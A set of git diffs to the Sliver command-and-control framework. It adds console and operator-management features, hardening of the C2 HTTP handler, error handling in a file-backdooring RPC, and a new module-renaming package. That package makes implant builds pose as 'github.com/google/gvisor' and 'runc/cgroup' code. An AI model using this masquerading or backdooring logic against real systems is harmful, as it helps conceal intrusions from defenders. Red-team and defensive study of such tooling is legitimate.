if protoimpl.UnsafeEnabled {
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DNSMessage) String() string {
@@ -118,7 +123,7 @@ func (*DNSMessage) ProtoMessage() {}
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
mi := &file_dnspb_dns_proto_msgTypes[0]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -218,7 +223,7 @@ func file_dnspb_dns_proto_rawDescGZIP() []byte {
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
var file_dnspb_dns_proto_goTypes = []any{
var file_dnspb_dns_proto_goTypes = []interface{}{
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
}
@@ -236,6 +241,20 @@ func file_dnspb_dns_proto_init() {
if File_dnspb_dns_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSMessage); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+3 -3
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.36.3
// protoc v5.29.3
// protoc-gen-go v1.26.0
// protoc v6.33.2
// source: rpcpb/services.proto
package rpcpb
@@ -724,7 +724,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []any{
var file_rpcpb_services_proto_goTypes = []interface{}{
(*commonpb.Empty)(nil), // 0: commonpb.Empty
(*clientpb.ClientLogData)(nil), // 1: clientpb.ClientLogData
(*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+3 -3
View File
@@ -277,7 +277,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
}
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
sliverpbDir := filepath.Join(goPathSrc, "protobuf", "sliverpb")
setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
os.MkdirAll(sliverpbDir, 0700)
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
@@ -290,7 +290,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
return err
}
commonpbSrc = xorPBRawBytes(commonpbSrc)
commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
commonpbDir := filepath.Join(goPathSrc, "protobuf", "commonpb")
os.MkdirAll(commonpbDir, 0700)
os.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
@@ -302,7 +302,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
return err
}
dnspbSrc = xorPBRawBytes(dnspbSrc)
dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
dnspbDir := filepath.Join(goPathSrc, "protobuf", "dnspb")
os.MkdirAll(dnspbDir, 0700)
os.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
}
+5 -1
View File
@@ -69,6 +69,7 @@ var (
const (
DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb
DefaultMaxUnauthBodyLength = 8 * 1024 * 1024 // 8Mb
DefaultHTTPTimeout = time.Minute
DefaultLongPollTimeout = time.Second
DefaultLongPollJitter = time.Second
@@ -564,7 +565,10 @@ func (s *SliverHTTPC2) anonymousHandler(resp http.ResponseWriter, req *http.Requ
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request, encoder sliverEncoders.Encoder) {
httpLog.Debug("Start http session request")
body, err := io.ReadAll(req.Body)
body, err := io.ReadAll(&io.LimitedReader{
R: req.Body,
N: int64(DefaultMaxUnauthBodyLength),
})
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
s.defaultHandler(resp, req)
+10 -1
View File
@@ -28,6 +28,7 @@ import (
"github.com/spf13/cobra"
clientcli "github.com/bishopfox/sliver/client/cli"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/certs"
@@ -72,6 +73,8 @@ func initConsoleLogging(appDir string) *os.File {
}
func init() {
rootCmd.Flags().String(clientcli.RCFlagName, "", "path to rc script file")
// Unpack
unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite")
rootCmd.AddCommand(unpackCmd)
@@ -147,8 +150,14 @@ var rootCmd = &cobra.Command{
if serverConfig.DaemonMode {
daemon.Start(daemon.BlankHost, daemon.BlankPort, serverConfig.DaemonConfig.Tailscale)
} else {
rcScript, err := clientcli.ReadRCScript(cmd)
if err != nil {
fmt.Printf("Failed to read rc script: %s\n", err)
return
}
os.Args = os.Args[:1] // Hide cli from grumble console
console.Start()
console.Start(rcScript)
}
},
}
+94 -2
View File
@@ -28,12 +28,15 @@ import (
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"github.com/spf13/cobra"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/console/forms"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
@@ -172,14 +175,54 @@ func NewOperatorConfig(operatorName string, lhost string, lport uint16, permissi
return json.Marshal(config)
}
func kickOperatorCmd(cmd *cobra.Command, _ []string) {
func kickOperatorCmd(cmd *cobra.Command, args []string) {
operator, _ := cmd.Flags().GetString("name")
if shouldPromptKickOperator(cmd, args) {
names, err := operatorNames()
if err != nil {
fmt.Printf(Warn+"Failed to list operators: %v\n", err)
return
}
if len(names) == 0 {
fmt.Printf(Warn + "No operators found.\n")
return
}
if err := forms.SelectOperator("Select operator to kick", names, &operator); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
fmt.Printf(Warn+"Operator selection failed: %v\n", err)
return
}
if err := cmd.Flags().Set("name", operator); err != nil {
fmt.Printf(Warn+"Failed to set operator name: %v\n", err)
return
}
}
operator = strings.TrimSpace(operator)
if operator == "" {
fmt.Printf(Warn + "Operator name required (use --name).\n")
return
}
exists, err := operatorExists(operator)
if err != nil {
fmt.Printf(Warn+"Failed to lookup operator %s: %v\n", operator, err)
return
}
if !exists {
fmt.Printf(Warn+"Operator %s does not exist.\n", operator)
return
}
fmt.Printf(Info+"Removing auth token(s) for %s, please wait ... \n", operator)
err := db.Session().Where(&models.Operator{
err = db.Session().Where(&models.Operator{
Name: operator,
}).Delete(&models.Operator{}).Error
if err != nil {
fmt.Printf(Warn+"Failed to remove operator %s: %v\n", operator, err)
return
}
transport.ClearTokenCache()
@@ -192,6 +235,55 @@ func kickOperatorCmd(cmd *cobra.Command, _ []string) {
fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
}
func shouldPromptKickOperator(cmd *cobra.Command, args []string) bool {
if len(args) != 0 {
return false
}
return cmd.Flags().NFlag() == 0
}
func operatorNames() ([]string, error) {
operators, err := db.OperatorAll()
if err != nil {
return nil, err
}
names := make([]string, 0, len(operators))
seen := make(map[string]struct{}, len(operators))
for _, operator := range operators {
if operator == nil {
continue
}
name := strings.TrimSpace(operator.Name)
if name == "" {
continue
}
if _, ok := seen[name]; ok {
continue
}
seen[name] = struct{}{}
names = append(names, name)
}
sort.Strings(names)
return names, nil
}
func operatorExists(name string) (bool, error) {
if strings.TrimSpace(name) == "" {
return false, nil
}
err := db.Session().Where(&models.Operator{
Name: name,
}).First(&models.Operator{}).Error
if err == nil {
return true, nil
}
if errors.Is(err, db.ErrRecordNotFound) {
return false, nil
}
return false, err
}
func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint16("lport")
+2 -2
View File
@@ -38,7 +38,7 @@ import (
)
// Start - Starts the server console
func Start() {
func Start(rcScript string) {
_, ln, _ := transport.LocalListener()
ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {
return ln.Dial()
@@ -57,7 +57,7 @@ func Start() {
defer conn.Close()
localRPC := rpcpb.NewSliverRPCClient(conn)
con := console.NewConsole(false)
console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true)
console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true, rcScript)
con.App.Start()
}
+74
View File
@@ -0,0 +1,74 @@
package forms
import (
"errors"
"strings"
"github.com/charmbracelet/huh"
)
const defaultSelectHeight = 10
// ErrUserAborted exposes the huh user-abort sentinel for callers.
var ErrUserAborted = huh.ErrUserAborted
// SelectOperator prompts for a single operator selection.
func SelectOperator(title string, operators []string, value *string) error {
if value == nil {
return errors.New("operator selection value is required")
}
if len(operators) == 0 {
return errors.New("operator selection options are required")
}
ensureSelectedValue(operators, value)
field := huh.NewSelect[string]().
Title(title).
Options(makeStringOptions(operators)...).
Height(listHeight(len(operators))).
Value(value).
Validate(func(val string) error {
if strings.TrimSpace(val) == "" {
return errors.New("selection required")
}
return nil
})
form := huh.NewForm(huh.NewGroup(field))
return form.Run()
}
func ensureSelectedValue(options []string, value *string) {
if value == nil || len(options) == 0 {
return
}
if strings.TrimSpace(*value) == "" {
*value = options[0]
return
}
for _, option := range options {
if option == *value {
return
}
}
*value = options[0]
}
func makeStringOptions(options []string) []huh.Option[string] {
converted := make([]huh.Option[string], 0, len(options))
for _, option := range options {
converted = append(converted, huh.NewOption(option, option))
}
return converted
}
func listHeight(count int) int {
if count < 1 {
return 1
}
if count > defaultSelectHeight {
return defaultSelectHeight
}
return count
}
+34 -3
View File
@@ -40,9 +40,11 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/encoders"
"github.com/bishopfox/sliver/server/gogo"
"github.com/bishopfox/sliver/server/gogo/goname"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util"
utilEncoders "github.com/bishopfox/sliver/util/encoders"
"golang.org/x/mod/module"
"golang.org/x/text/cases"
"golang.org/x/text/language"
)
@@ -360,7 +362,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
return "", err
}
sliverPkgDir := filepath.Join(srcDir, "github.com", "bishopfox", "sliver") // "main"
sliverPkgDir := filepath.Join(srcDir) // "main"
err = os.MkdirAll(sliverPkgDir, 0700)
if err != nil {
return "", nil
@@ -380,14 +382,14 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
sliverGoCode := string(sliverGoCodeRaw)
// Skip dllmain files for anything non windows
if f.Name() == "sliver.c" || f.Name() == "sliver.h" {
if f.Name() == "main.c" || f.Name() == "main.h" {
if !config.IsSharedLib && !config.IsShellcode {
return nil
}
}
var sliverCodePath string
if f.Name() == "sliver.go" || f.Name() == "sliver.c" || f.Name() == "sliver.h" {
if f.Name() == "main.go" || f.Name() == "main.c" || f.Name() == "main.h" {
sliverCodePath = filepath.Join(sliverPkgDir, f.Name())
} else {
sliverCodePath = filepath.Join(sliverPkgDir, "implant", fsPath)
@@ -521,6 +523,35 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
}
buildLog.Debugf("Created %s", goModPath)
if !config.Debug {
goPackage := "github.com/google/gvisor"
if config.GoPackage != "" {
err := module.CheckPath(config.GoPackage)
if err != nil {
buildLog.Warnf("Invalid Go package path '%s', using default '%s'", config.GoPackage, goPackage)
} else {
goPackage = config.GoPackage
}
}
modResult, err := goname.RenameModule(sliverPkgDir, goPackage)
if err != nil {
buildLog.Errorf("Failed to rename module: %s", err)
return "", err
}
buildLog.Infof("Renamed module: %s -> %s (go.mod updated: %v)", modResult.OldModule, modResult.NewModule, modResult.GoModUpdated)
// Rename Import Paths
buildLog.Infof("Renaming import paths ...")
oldImportPrefix := path.Join(modResult.NewModule, "implant", "sliver")
newImportPrefix := path.Join(modResult.NewModule, "runc", "cgroup")
importResult, err := goname.RenameImport(sliverPkgDir, oldImportPrefix, newImportPrefix)
if err != nil {
buildLog.Errorf("Failed to rename imports: %s", err)
return "", err
}
buildLog.Infof("Renamed imports (%d files updated)", importResult.FilesUpdated)
}
return sliverPkgDir, nil
}
+1
View File
@@ -183,6 +183,7 @@ func GoBuild(config GoConfig, src string, dest string, buildmode string, tags []
var goCommand = []string{"build"}
goCommand = append(goCommand, "-trimpath") // remove absolute paths from any compiled binary
goCommand = append(goCommand, "-mod=vendor")
if 0 < len(tags) {
goCommand = append(goCommand, "-tags")
+161
View File
@@ -0,0 +1,161 @@
package goname
import (
"bytes"
"errors"
"fmt"
"go/format"
"go/parser"
"go/token"
"io/fs"
"os"
"path/filepath"
"strconv"
"strings"
"golang.org/x/mod/modfile"
)
// Result captures changes made by RenameModule.
type Result struct {
OldModule string
NewModule string
GoModUpdated bool
FilesUpdated int
ImportsUpdated int
}
// RenameModule updates go.mod and rewrites import paths within the module tree.
func RenameModule(dir, newModule string) (*Result, error) {
newModule = strings.TrimSpace(newModule)
if newModule == "" {
return nil, errors.New("new module path is required")
}
goModPath := filepath.Join(dir, "go.mod")
modBytes, err := os.ReadFile(goModPath)
if err != nil {
return nil, fmt.Errorf("read go.mod: %w", err)
}
modFile, err := modfile.Parse(goModPath, modBytes, nil)
if err != nil {
return nil, fmt.Errorf("parse go.mod: %w", err)
}
if modFile.Module == nil || modFile.Module.Mod.Path == "" {
return nil, errors.New("go.mod is missing a module path")
}
oldModule := modFile.Module.Mod.Path
result := &Result{
OldModule: oldModule,
NewModule: newModule,
}
if oldModule == newModule {
return result, nil
}
if err := modFile.AddModuleStmt(newModule); err != nil {
return result, fmt.Errorf("update module path: %w", err)
}
formatted, err := modFile.Format()
if err != nil {
return result, fmt.Errorf("format go.mod: %w", err)
}
if err := writeFilePreservePerm(goModPath, formatted); err != nil {
return result, fmt.Errorf("write go.mod: %w", err)
}
result.GoModUpdated = true
if err := rewriteImports(dir, oldModule, newModule, result); err != nil {
return result, err
}
return result, nil
}
func rewriteImports(dir, oldModule, newModule string, result *Result) error {
return filepath.WalkDir(dir, func(path string, entry fs.DirEntry, err error) error {
if err != nil {
return err
}
if entry.IsDir() {
name := entry.Name()
if name == "vendor" || name == ".git" {
return fs.SkipDir
}
return nil
}
if filepath.Ext(path) != ".go" {
return nil
}
changed, importsUpdated, err := rewriteFileImports(path, oldModule, newModule)
if err != nil {
return err
}
if changed {
result.FilesUpdated++
result.ImportsUpdated += importsUpdated
}
return nil
})
}
func rewriteFileImports(path, oldModule, newModule string) (bool, int, error) {
fset := token.NewFileSet()
file, err := parser.ParseFile(fset, path, nil, parser.ParseComments)
if err != nil {
return false, 0, fmt.Errorf("parse %s: %w", path, err)
}
changed := false
importsUpdated := 0
for _, imp := range file.Imports {
importPath, err := strconv.Unquote(imp.Path.Value)
if err != nil {
return false, 0, fmt.Errorf("parse import in %s: %w", path, err)
}
if !matchesModule(importPath, oldModule) {
continue
}
newPath := newModule + strings.TrimPrefix(importPath, oldModule)
if newPath == importPath {
continue
}
imp.Path.Value = strconv.Quote(newPath)
changed = true
importsUpdated++
}
if !changed {
return false, 0, nil
}
var buf bytes.Buffer
if err := format.Node(&buf, fset, file); err != nil {
return false, 0, fmt.Errorf("format %s: %w", path, err)
}
if err := writeFilePreservePerm(path, buf.Bytes()); err != nil {
return false, 0, fmt.Errorf("write %s: %w", path, err)
}
return true, importsUpdated, nil
}
func matchesModule(importPath, modulePath string) bool {
return importPath == modulePath || strings.HasPrefix(importPath, modulePath+"/")
}
func writeFilePreservePerm(path string, data []byte) error {
perm := fs.FileMode(0644)
if info, err := os.Stat(path); err == nil {
perm = info.Mode().Perm()
}
return os.WriteFile(path, data, perm)
}
+139
View File
@@ -0,0 +1,139 @@
package goname
import (
"go/parser"
"go/token"
"os"
"path/filepath"
"strconv"
"strings"
"testing"
"golang.org/x/mod/modfile"
)
func TestRenameModule(t *testing.T) {
fixture := filepath.Join("testdata", "basic")
tmp := t.TempDir()
if err := copyDir(fixture, tmp); err != nil {
t.Fatalf("copy fixture: %v", err)
}
result, err := RenameModule(tmp, "example.net/new")
if err != nil {
t.Fatalf("RenameModule: %v", err)
}
if result.OldModule != "example.com/old" {
t.Fatalf("old module mismatch: %s", result.OldModule)
}
if result.NewModule != "example.net/new" {
t.Fatalf("new module mismatch: %s", result.NewModule)
}
if !result.GoModUpdated {
t.Fatalf("expected go.mod update")
}
if result.FilesUpdated != 2 {
t.Fatalf("files updated mismatch: %d", result.FilesUpdated)
}
if result.ImportsUpdated != 3 {
t.Fatalf("imports updated mismatch: %d", result.ImportsUpdated)
}
modBytes, err := os.ReadFile(filepath.Join(tmp, "go.mod"))
if err != nil {
t.Fatalf("read go.mod: %v", err)
}
modFile, err := modfile.Parse("go.mod", modBytes, nil)
if err != nil {
t.Fatalf("parse go.mod: %v", err)
}
if modFile.Module == nil || modFile.Module.Mod.Path != "example.net/new" {
t.Fatalf("module path not updated: %#v", modFile.Module)
}
mainImports := importPaths(t, filepath.Join(tmp, "main.go"))
for _, want := range []string{"example.net/new", "example.net/new/pkg/foo", "example.com/oldish/pkg"} {
if !mainImports[want] {
t.Fatalf("main.go missing import: %s", want)
}
}
if mainImports["example.com/old"] || mainImports["example.com/old/pkg/foo"] {
t.Fatalf("main.go still references old module")
}
fooImports := importPaths(t, filepath.Join(tmp, "pkg", "foo", "foo.go"))
if !fooImports["example.net/new/pkg/bar"] {
t.Fatalf("foo.go import not updated")
}
vendorImports := importPaths(t, filepath.Join(tmp, "vendor", "example.com", "old", "vendor.go"))
if !vendorImports["example.com/old/pkg/foo"] {
t.Fatalf("vendor import should remain unchanged")
}
mainBytes, err := os.ReadFile(filepath.Join(tmp, "main.go"))
if err != nil {
t.Fatalf("read main.go: %v", err)
}
if !strings.Contains(string(mainBytes), "const example = \"example.com/old/pkg/foo\"") {
t.Fatalf("string literal should remain unchanged")
}
}
func TestRenameModuleMissingGoMod(t *testing.T) {
_, err := RenameModule(t.TempDir(), "example.com/new")
if err == nil {
t.Fatalf("expected error for missing go.mod")
}
}
func importPaths(t *testing.T, path string) map[string]bool {
t.Helper()
fset := token.NewFileSet()
file, err := parser.ParseFile(fset, path, nil, 0)
if err != nil {
t.Fatalf("parse %s: %v", path, err)
}
imports := make(map[string]bool)
for _, imp := range file.Imports {
pathValue, err := strconv.Unquote(imp.Path.Value)
if err != nil {
t.Fatalf("unquote import in %s: %v", path, err)
}
imports[pathValue] = true
}
return imports
}
func copyDir(src, dst string) error {
return filepath.WalkDir(src, func(path string, entry os.DirEntry, err error) error {
if err != nil {
return err
}
rel, err := filepath.Rel(src, path)
if err != nil {
return err
}
target := filepath.Join(dst, rel)
if entry.IsDir() {
info, err := entry.Info()
if err != nil {
return err
}
return os.MkdirAll(target, info.Mode().Perm())
}
data, err := os.ReadFile(path)
if err != nil {
return err
}
info, err := entry.Info()
if err != nil {
return err
}
return os.WriteFile(target, data, info.Mode().Perm())
})
}
+134
View File
@@ -0,0 +1,134 @@
package goname
import (
"errors"
"fmt"
"io/fs"
"os"
"path"
"path/filepath"
"strings"
)
// ImportResult captures changes made by RenameImport.
type ImportResult struct {
OldImportPrefix string
NewImportPrefix string
FilesUpdated int
ImportsUpdated int
}
// RenameImport rewrites import paths that match oldImportPrefix within the directory tree.
func RenameImport(dir, oldImportPrefix, newImportPrefix string) (*ImportResult, error) {
oldImportPrefix = strings.TrimSpace(oldImportPrefix)
newImportPrefix = strings.TrimSpace(newImportPrefix)
if oldImportPrefix == "" {
return nil, errors.New("old import prefix is required")
}
if newImportPrefix == "" {
return nil, errors.New("new import prefix is required")
}
result := &ImportResult{
OldImportPrefix: oldImportPrefix,
NewImportPrefix: newImportPrefix,
}
if err := rewriteImportPrefixes(dir, oldImportPrefix, newImportPrefix, result); err != nil {
return result, err
}
if result.ImportsUpdated == 0 {
return result, errors.New("no imports updated (check old/new import prefixes)")
}
if err := renameImportDir(dir, oldImportPrefix, newImportPrefix); err != nil {
return result, err
}
return result, nil
}
func rewriteImportPrefixes(dir, oldImportPrefix, newImportPrefix string, result *ImportResult) error {
return filepath.WalkDir(dir, func(path string, entry fs.DirEntry, err error) error {
if err != nil {
return err
}
if entry.IsDir() {
name := entry.Name()
if name == "vendor" || strings.HasPrefix(name, ".") {
return fs.SkipDir
}
return nil
}
if filepath.Ext(path) != ".go" {
return nil
}
changed, importsUpdated, err := rewriteFileImports(path, oldImportPrefix, newImportPrefix)
if err != nil {
return err
}
if changed {
result.FilesUpdated++
result.ImportsUpdated += importsUpdated
}
return nil
})
}
func renameImportDir(dir, oldImportPrefix, newImportPrefix string) error {
oldParts := splitImportPrefix(oldImportPrefix)
newParts := splitImportPrefix(newImportPrefix)
if len(oldParts) == 0 || len(newParts) == 0 {
return nil
}
for i := 0; i < len(oldParts); i++ {
suffixParts := oldParts[i:]
oldDir := filepath.Join(append([]string{dir}, suffixParts...)...)
info, err := os.Stat(oldDir)
if err != nil {
if os.IsNotExist(err) {
continue
}
return err
}
if !info.IsDir() {
continue
}
if len(newParts) < len(suffixParts) {
return fmt.Errorf("new import prefix has fewer path segments than old import prefix")
}
newSuffixParts := newParts[len(newParts)-len(suffixParts):]
newDir := filepath.Join(append([]string{dir}, newSuffixParts...)...)
if oldDir == newDir {
return nil
}
if _, err := os.Stat(newDir); err == nil {
return fmt.Errorf("rename import dir: target exists: %s", newDir)
} else if !os.IsNotExist(err) {
return err
}
if err := os.MkdirAll(filepath.Dir(newDir), 0700); err != nil {
return err
}
return os.Rename(oldDir, newDir)
}
return nil
}
func splitImportPrefix(prefix string) []string {
cleaned := path.Clean(strings.TrimSpace(prefix))
if cleaned == "." || cleaned == "/" {
return nil
}
cleaned = strings.TrimPrefix(cleaned, "/")
if cleaned == "" {
return nil
}
return strings.Split(cleaned, "/")
}
+95
View File
@@ -0,0 +1,95 @@
package goname
import (
"os"
"path/filepath"
"strings"
"testing"
)
func TestRenameImportBasic(t *testing.T) {
fixture := filepath.Join("testdata", "rename-import", "basic")
tmp := t.TempDir()
if err := copyDir(fixture, tmp); err != nil {
t.Fatalf("copy fixture: %v", err)
}
result, err := RenameImport(tmp, "foo/bar", "acme/corp")
if err != nil {
t.Fatalf("RenameImport: %v", err)
}
if result.OldImportPrefix != "foo/bar" {
t.Fatalf("old prefix mismatch: %s", result.OldImportPrefix)
}
if result.NewImportPrefix != "acme/corp" {
t.Fatalf("new prefix mismatch: %s", result.NewImportPrefix)
}
if result.FilesUpdated != 2 {
t.Fatalf("files updated mismatch: %d", result.FilesUpdated)
}
if result.ImportsUpdated != 4 {
t.Fatalf("imports updated mismatch: %d", result.ImportsUpdated)
}
mainImports := importPaths(t, filepath.Join(tmp, "main.go"))
for _, want := range []string{"acme/corp", "acme/corp/baz", "acme/corp/qux", "foo/barista", "other/pkg"} {
if !mainImports[want] {
t.Fatalf("main.go missing import: %s", want)
}
}
if mainImports["foo/bar"] || mainImports["foo/bar/baz"] || mainImports["foo/bar/qux"] {
t.Fatalf("main.go still references old prefix")
}
barImports := importPaths(t, filepath.Join(tmp, "acme", "corp", "bar.go"))
if !barImports["acme/corp/baz"] {
t.Fatalf("bar.go import not updated")
}
if _, err := os.Stat(filepath.Join(tmp, "foo", "bar")); !os.IsNotExist(err) {
t.Fatalf("expected foo/bar to be renamed")
}
vendorImports := importPaths(t, filepath.Join(tmp, "vendor", "foo", "bar", "vendor.go"))
if !vendorImports["foo/bar/baz"] {
t.Fatalf("vendor import should remain unchanged")
}
hiddenImports := importPaths(t, filepath.Join(tmp, ".hidden", "hidden.go"))
if !hiddenImports["foo/bar/baz"] {
t.Fatalf("hidden import should remain unchanged")
}
mainBytes, err := os.ReadFile(filepath.Join(tmp, "main.go"))
if err != nil {
t.Fatalf("read main.go: %v", err)
}
if !strings.Contains(string(mainBytes), "const example = \"foo/bar/baz\"") {
t.Fatalf("string literal should remain unchanged")
}
}
func TestRenameImportNoChanges(t *testing.T) {
fixture := filepath.Join("testdata", "rename-import", "basic")
tmp := t.TempDir()
if err := copyDir(fixture, tmp); err != nil {
t.Fatalf("copy fixture: %v", err)
}
_, err := RenameImport(tmp, "missing/prefix", "acme/corp")
if err == nil {
t.Fatalf("expected error for missing prefix")
}
}
func TestRenameImportInvalidArgs(t *testing.T) {
_, err := RenameImport(t.TempDir(), "", "acme/corp")
if err == nil {
t.Fatalf("expected error for empty old prefix")
}
_, err = RenameImport(t.TempDir(), "foo/bar", "")
if err == nil {
t.Fatalf("expected error for empty new prefix")
}
}
+5
View File
@@ -0,0 +1,5 @@
module example.com/old
go 1.22
require example.com/other v1.2.3
+14
View File
@@ -0,0 +1,14 @@
package main
import (
"fmt"
"example.com/old"
oldpkg "example.com/old/pkg/foo"
_ "example.com/oldish/pkg"
)
const example = "example.com/old/pkg/foo"
func main() {
fmt.Println(oldpkg.Name, example)
}
+3
View File
@@ -0,0 +1,3 @@
package bar
const Name = "bar"
+5
View File
@@ -0,0 +1,5 @@
package foo
import "example.com/old/pkg/bar"
const Name = bar.Name
+5
View File
@@ -0,0 +1,5 @@
package vendor
import "example.com/old/pkg/foo"
const Vendor = foo.Name
@@ -0,0 +1,3 @@
package hidden
import _ "foo/bar/baz"
@@ -0,0 +1,9 @@
package bar
import "foo/bar/baz"
const Name = "bar"
func Use() string {
return baz.Name
}
@@ -0,0 +1,3 @@
package baz
const Name = "baz"
@@ -0,0 +1,3 @@
package qux
const Name = "qux"
@@ -0,0 +1,3 @@
package barista
const Name = "barista"
@@ -0,0 +1,3 @@
module example.com/demo
go 1.22
+16
View File
@@ -0,0 +1,16 @@
package main
import (
"fmt"
bar "foo/bar"
_ "foo/bar/baz"
_ "foo/bar/qux"
_ "foo/barista"
"other/pkg"
)
const example = "foo/bar/baz"
func main() {
fmt.Println(bar.Name, example)
}
@@ -0,0 +1,3 @@
package vendor
import _ "foo/bar/baz"
+40
View File
@@ -19,8 +19,13 @@ package rpc
*/
import (
"context"
"errors"
"fmt"
"os"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
@@ -49,3 +54,38 @@ var (
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
)
func rpcError(err error) error {
if err == nil {
return nil
}
if st, ok := status.FromError(err); ok && st.Code() != codes.Unknown {
return err
}
switch {
case errors.Is(err, context.Canceled):
return status.Error(codes.Canceled, err.Error())
case errors.Is(err, context.DeadlineExceeded):
return status.Error(codes.DeadlineExceeded, err.Error())
case errors.Is(err, core.ErrImplantTimeout):
return status.Error(codes.DeadlineExceeded, err.Error())
case errors.Is(err, core.ErrUnknownMessageType):
return status.Error(codes.Unimplemented, err.Error())
case errors.Is(err, core.ErrInvalidTunnelID):
return status.Error(codes.InvalidArgument, err.Error())
case errors.Is(err, core.ErrDuplicateHosts):
return status.Error(codes.AlreadyExists, err.Error())
case errors.Is(err, core.ErrDuplicateExternalBuilderName):
return status.Error(codes.AlreadyExists, err.Error())
case errors.Is(err, db.ErrRecordNotFound):
return status.Error(codes.NotFound, err.Error())
case os.IsNotExist(err):
return status.Error(codes.NotFound, err.Error())
case os.IsPermission(err):
return status.Error(codes.PermissionDenied, err.Error())
default:
return status.Error(codes.Internal, err.Error())
}
}
+14 -14
View File
@@ -47,10 +47,10 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
if req.Name == "" {
name, err = codenames.GetCodename()
if err != nil {
return nil, err
return nil, rpcError(err)
}
} else if err := util.AllowedName(name); err != nil {
return nil, err
return nil, status.Error(codes.InvalidArgument, err.Error())
} else {
name = req.Name
}
@@ -68,18 +68,18 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
Path: req.FilePath,
})
if err != nil {
return nil, err
return nil, rpcError(err)
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, err
return nil, rpcError(err)
}
}
profiles, err := rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
return nil, rpcError(err)
}
var p *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
@@ -88,38 +88,38 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
}
}
if p.GetName() == "" {
return nil, fmt.Errorf("no profile found for name %s", req.ProfileName)
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("no profile found for name %s", req.ProfileName))
}
if p.Config.Format != clientpb.OutputFormat_SHELLCODE {
return nil, fmt.Errorf("please select a profile targeting a shellcode format")
return nil, status.Error(codes.InvalidArgument, "please select a profile targeting a shellcode format")
}
build, err := generate.GenerateConfig(name, p.Config)
if err != nil {
return nil, err
return nil, rpcError(err)
}
// retrieve http c2 implant config
